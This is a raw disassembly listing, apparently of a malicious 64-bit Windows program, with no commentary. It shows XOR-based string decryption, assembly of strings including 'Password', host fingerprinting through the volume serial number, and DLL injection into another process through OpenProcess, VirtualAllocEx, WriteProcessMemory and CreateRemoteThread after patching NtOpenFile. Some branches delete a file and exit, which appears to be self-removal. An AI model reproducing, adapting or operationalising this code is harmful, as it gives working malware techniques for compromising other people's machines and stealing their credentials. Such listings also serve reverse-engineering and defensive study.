pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140060b70
cmp r8d, 0x2d
jge 0x140060ca1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140060c70
mov rdx, r10
lea rcx, [rbp + 0x2d28]
call fcn.140064bd0
mov rdx, rax
lea r8, [0x140086268]
lea rcx, [rbp + 0x2d48]
call fcn.1400655a0
mov r8, rdi
lea rcx, [rbp + 0x2d68]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, str.Password
lea rcx, [rbp + 0x2d88]
call fcn.1400655a0
mov r8, rsi
lea rcx, [rbp + 0x2da8]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, [0x140074ba0]
lea rcx, [rbp + 0x2dc8]
call fcn.1400655a0
mov r8, r14
lea rcx, [rbp + 0x2de8]
mov rdx, rax
call fcn.140065610
mov r8, rbx
lea rcx, [rbp + 0x2e08]
mov rdx, rax
call fcn.1400655a0
mov r8, r12
lea rcx, [rbp + 0x2e28]
mov rdx, rax
call fcn.140065610
lea r8, [rbp + 0x2c08]
mov rdx, rax
lea rcx, [rbp + 0x2e48]
call fcn.140065610
mov rdx, rax
lea rcx, [rbp + 0x3af0]
call fcn.140051cd0
lea rcx, [rbp + 0x2e28]
call fcn.140064ae0
lea rcx, [rbp + 0x2e08]
call fcn.140064ae0
lea rcx, [rbp + 0x2de8]
call fcn.140064ae0
lea rcx, [rbp + 0x2dc8]
call fcn.140064ae0
lea rcx, [rbp + 0x2da8]
call fcn.140064ae0
lea rcx, [rbp + 0x2d88]
call fcn.140064ae0
lea rcx, [rbp + 0x2d68]
call fcn.140064ae0
lea rcx, [rbp + 0x2d48]
call fcn.140064ae0
lea rcx, [rbp + 0x2d28]
call fcn.140064ae0
lea rcx, [rbp + 0x2d08]
call fcn.140064ae0
lea rcx, [rbp + 0x2ce8]
call fcn.140064ae0
lea rcx, [rbp + 0x2cc8]
call fcn.140064ae0
lea rcx, [rbp + 0x2ca8]
call fcn.140064ae0
lea rcx, [rbp + 0x2c08]
call fcn.140064ae0
lea rdx, [rbp + 0x3528]
lea rcx, [rbp + 0xa3]
call fcn.140062e10
mov r10, rax
cmp byte [rax + 0x2c], r15b
je 0x140060f81
mov r8d, r15d
cmp r13d, 2
jl 0x140060f43
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140060e52
cmp r8d, 0x2d
jge 0x140060f81
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140060f50
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea rdx, [rbp + 0xe68]
lea rcx, [rbp + 0xa4]
call fcn.140063670
mov r9, rax
cmp byte [rax + 0x17], r15b
je 0x1400610e1
cmp r13d, 2
jl 0x1400610ac
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r15d
lea eax, [r15 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r15d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r15d, 0x18
jl 0x140060fc0
jmp 0x1400610e1
mov r8, r9
nop
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul r15d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, r15b
inc r15d
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp r15d, 0x18
jl 0x1400610b0
mov rcx, r9
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp + 0xfa8]
lea rcx, [rbp + 0xa5]
call fcn.140063600
mov rsi, rax
cmp byte [rax + 0x18], r15b
je 0x140061261
mov r8d, r15d
cmp r13d, 2
jl 0x140061221
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140061130
cmp r8d, 0x19
jge 0x140061261
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140061230
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0xa6]
call fcn.1400636e0
mov rbx, rax
cmp byte [rax + 0xe], r15b
je 0x140061392
mov r8d, r15d
cmp r13d, 2
jl 0x14006135b
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
mov r8d, 8
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
movd dword [rbx], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm12, xmm0
movd xmm0, eax
andps xmm12, xmm8
packuswb xmm12, xmm12
packuswb xmm12, xmm12
paddb xmm12, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm12, xmm0
movd dword [rbx + 4], xmm12
movsxd r9, r8d
add r9, rbx
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140061361
mov rcx, rbx
call fcn.140052400
mov ecx, 0x1e
mov edi, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
je 0x140061392
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400614af
cmp rax, 0xffffffffffffffff
je 0x1400614a6
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtOpenFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140061427
mov ecx, dword [rax]
lea r8, [rbp + 0x3ef0]
mov dword [rbp + 0x3ef0], ecx
mov r9d, 5
movzx ecx, byte [rax + 4]
mov rdx, rax
mov byte [rbp + 0x3ef4], cl
mov rcx, rbx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov r9, 0xffffffffffffffff
inc r9
cmp byte [rsi + r9], r15b
jne 0x140061450
inc r9
mov qword [rsp + 0x20], r15
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
mov qword [rsp + 0x30], r15
xor edx, edx
mov dword [rsp + 0x28], r15d
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x1400614a6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x2e68]
call fcn.140053060
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0xa7]
call fcn.140050a10
mov r10, rax
cmp byte [rax + 3], r15b
je 0x140061581
cmp r13d, 2
jl 0x140061544
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x140061581
mov r9, r10
mov r8d, r15d
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140061550
mov dword [rsp + 0x38], r15d
lea r9, [rbp + 0x3938]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, r10
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x140061604
mov edx, dword [rbp + 0x3938]
lea rcx, [rbp + 0x2e88]
lea edx, [rdx*8 - 4]
call fcn.1400509e0
mov rdx, rax
lea rcx, [rbp + 0x2ea8]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x2ec8]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x2e68]
call fcn.140064b40
lea rcx, [rbp + 0x2ec8]
jmp 0x140061626
lea rcx, [rbp + 0x2ee8]
call fcn.140053060
mov rdx, rax
lea rcx, [rbp + 0x2e68]
call fcn.140064b40
lea rcx, [rbp + 0x2ee8]
call fcn.140064ae0
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0xa8]
call fcn.140062e80
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140061667
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor cl, 0x38
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x2f08]
call fcn.140064bd0
lea rdx, [rbp + 0x3038]
mov r12, rax
lea rcx, [rbp + 0xa9]
call fcn.140063740
mov rbx, rax
cmp byte [rax + 0x22], r15b
je 0x1400617e1
mov r8d, r15d
cmp r13d, 2
jl 0x1400617a3
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x1400616b2
cmp r8d, 0x23
jge 0x1400617e1
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x1400617b0
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0xaa]
call fcn.140062f10
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140061825
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor cl, 0x3a
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x2f28]
call fcn.140064bd0
lea rdx, [rbp + 0x560]
mov r14, rax
lea rcx, [rbp + 0xab]
call fcn.140062ef0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14006187f
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor cl, 0x3b
mov byte [rax + 9], cl
mov rdx, rax
lea rcx, [rbp + 0x1188]
call fcn.140064bd0
lea rdx, [rbp + 0x5b0]
mov rsi, rax
lea rcx, [rbp + 0xac]
call fcn.140062e50
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400618dd
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.140064bd0
lea rdx, [rbp + 0x3348]
mov rdi, rax
lea rcx, [rbp + 0xad]
call fcn.140062e10
mov r10, rax
cmp byte [rax + 0x2c], r15b
je 0x140061a61
mov r8d, r15d
cmp r13d, 2
jl 0x140061a21
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140061930
cmp r8d, 0x2d
jge 0x140061a61
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140061a30
mov rdx, r10
lea rcx, [rbp + 0x11c8]
call fcn.140064bd0
mov rdx, rax
lea r8, [0x140086268]
lea rcx, [rbp + 0x11e8]
call fcn.1400655a0
mov r8, rdi
lea rcx, [rbp + 0x1208]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, str.Password
lea rcx, [rbp + 0x1228]
call fcn.1400655a0
mov r8, rsi
lea rcx, [rbp + 0x1248]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, [0x140074ba0]
lea rcx, [rbp + 0x1268]
call fcn.1400655a0
mov r8, r14
lea rcx, [rbp + 0x1288]
mov rdx, rax
call fcn.140065610
mov r8, rbx
lea rcx, [rbp + 0x12a8]
mov rdx, rax
call fcn.1400655a0
mov r8, r12
lea rcx, [rbp + 0x12c8]
mov rdx, rax
call fcn.140065610
lea r8, [rbp + 0x2e68]
mov rdx, rax
lea rcx, [rbp + 0x12e8]
call fcn.140065610
mov rdx, rax
lea rcx, [rbp + 0x3a10]
call fcn.140051cd0
lea rcx, [rbp + 0x12c8]
call fcn.140064ae0
lea rcx, [rbp + 0x12a8]
call fcn.140064ae0
lea rcx, [rbp + 0x1288]
call fcn.140064ae0
lea rcx, [rbp + 0x1268]
call fcn.140064ae0
lea rcx, [rbp + 0x1248]
call fcn.140064ae0
lea rcx, [rbp + 0x1228]
call fcn.140064ae0
lea rcx, [rbp + 0x1208]
call fcn.140064ae0
lea rcx, [rbp + 0x11e8]
call fcn.140064ae0
lea rcx, [rbp + 0x11c8]
call fcn.140064ae0
lea rcx, [rbp + 0x11a8]
call fcn.140064ae0
lea rcx, [rbp + 0x1188]
call fcn.140064ae0
lea rcx, [rbp + 0x2f28]
call fcn.140064ae0
lea rcx, [rbp + 0x2f08]
call fcn.140064ae0
lea rcx, [rbp + 0x2e68]
call fcn.140064ae0
lea rdx, [rbp + 0x3318]
lea rcx, [rbp + 0xae]
call fcn.140062e10
mov r10, rax
cmp byte [rax + 0x2c], r15b
je 0x140061d41
mov r8d, r15d
cmp r13d, 2
jl 0x140061d03
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140061c12
cmp r8d, 0x2d
jge 0x140061d41
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140061d10
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea rdx, [rbp + 0xf88]
lea rcx, [rbp + 0xaf]
call fcn.140063600
mov r9, rax
cmp byte [rax + 0x18], r15b
je 0x140061eb1
cmp r13d, 2
jl 0x140061e73
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r15d
lea eax, [r15 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r15d, 8
pmuldq xmm0, xmm6
mov eax, r15d
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r15d, 0x18
jl 0x140061d80
cmp eax, 0x19
jge 0x140061eb1
movsxd r8, r15d
add r8, r9
nop dword [rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul r15d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r15b
inc r15d
sub al, cl
add al, 0x32
xor byte [r8 - 1], al
cmp r15d, 0x19
jl 0x140061e80
mov rcx, r9
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0xb0]
call fcn.140063560
mov rsi, rax
cmp byte [rax + 0x17], r15b
je 0x140062021
cmp r13d, 2
jl 0x140061fea
movdqa xmmword [rbp], xmm11
mov edx, r15d
mov r8d, dword [rbp]
mov rcx, rax
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
